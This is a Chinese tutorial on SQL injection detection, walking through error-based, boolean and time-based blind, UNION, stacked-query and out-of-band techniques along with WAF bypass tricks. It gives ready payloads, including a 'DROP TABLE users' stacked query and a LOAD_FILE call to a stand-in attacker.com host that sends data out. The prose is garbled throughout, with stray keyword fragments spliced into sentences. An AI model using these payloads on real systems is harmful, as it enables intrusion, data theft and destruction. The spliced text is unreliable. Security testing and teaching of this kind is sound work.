把单引号塞进输入框，数据页面直接甩回来一个500错误——这大概是库注每个搞Web安全的人都遇到过的事。数据库注入的常用测方检测，说白了就是数据想办法让后端数据库把不该说的话说出来。下面这些方法，库注都是常用测方实战里反复用过的。

报错信息：最直接的数据突破口

很多网站没关错误回显，这就等于把数据库的库注底裤晾在外面。往参数里扔个单引号，常用测方比如id=1'，数据如果页面蹦出You have 库注an error in your SQL syntax near...，基本可以确定存在注入。常用测方MySQL、数据MSSQL、库注Oracle的常用测方报错格式各不相同，有经验的人扫一眼就知道后端用的什么库。不过这招越来越不好使了，现在框架默认都关错误显示，只能靠盲注慢慢磨。

布尔盲注：用真假来判断

页面不报错，但内容有变化，这就轮到布尔盲注上场。构造id=1 AND 1=1和id=1 AND 1=2，看返回的页面是否一致。如果前者正常、后者异常，说明注入点存在。接着可以逐字符猜数据：AND SUBSTRING(database(),1,1)='a'，根据页面真假反推字符。这个过程极其枯燥，手工测一个库名可能要几百次请求，所以通常配合sqlmap这类工具跑。但工具不是万能的，遇到WAF拦截或者自定义过滤，还是得手工调整payload。

时间盲注：没有回显时的杀手锏

页面内容完全没变化怎么办？看响应时间。MySQL里用SLEEP(5)，MSSQL用WAITFOR DELAY '0:0:5'，PostgreSQL用PG_SLEEP(5)。构造id=1; IF(1=1,SLEEP(5),0)--，如果请求明显卡了5秒，注入点就确认了。这招对网络延迟敏感，得先测几次基线响应时间。我见过一个案例，目标站用了CDN，正常响应200ms，注入后变成5.2s，差异非常明显。但有些环境限制了执行时间，SLEEP可能被截断，这时候得换用BENCHMARK()做CPU耗时。

联合查询：一步到位拿数据

如果页面有回显位，UNION注入是最舒服的。先ORDER BY猜列数，ORDER BY 1正常、ORDER BY 10报错，二分法很快定位。然后UNION SELECT 1,2,3--看哪个数字会显示在页面上，把database()、user()、version()塞进去，一次请求就能拿到关键信息。有个细节：不同数据库的注释符不一样，MySQL用-- （后面带空格）或#，MSSQL用--，Oracle用--。搞错了整个payload就废了。

堆叠查询与带外通道

有些数据库驱动支持多语句执行，比如MSSQL的; DROP TABLE users--。但权限不够的时候，堆叠查询可能被禁。带外通道（OOB）是另一种思路：让数据库主动向外发起请求。MySQL的LOAD_FILE('\\\\attacker.com\\x')、Oracle的UTL_HTTP.REQUEST、MSSQL的xp_dirtree，都能把数据外带。这招在完全盲注且时间盲注被限制时特别有用，但需要目标服务器能出网，内网环境就歇菜了。

绕过与检测的博弈

WAF和过滤规则一直在进化。空格被过滤就用/**/替代，AND被拦就换&&或%26%26，引号被转义就试试CHAR()拼接。我见过一个目标，把SELECT替换成空字符串，结果SELSELECTECT正好绕过去。检测方法没有银弹，得根据回显、时间、报错、网络行为综合判断。手工测的时候，Burp Suite的Repeater和Intruder是标配，配合自定义的payload列表，比盲目扫效率高得多。

说到底，数据库注入检测的核心就一句话：让输入影响SQL语义，然后观察输出差异。报错、布尔、时间、联合、带外，五种通道覆盖了绝大多数场景。真正难的不是技术本身，而是理解目标应用的过滤逻辑，然后找到那条没被堵死的路。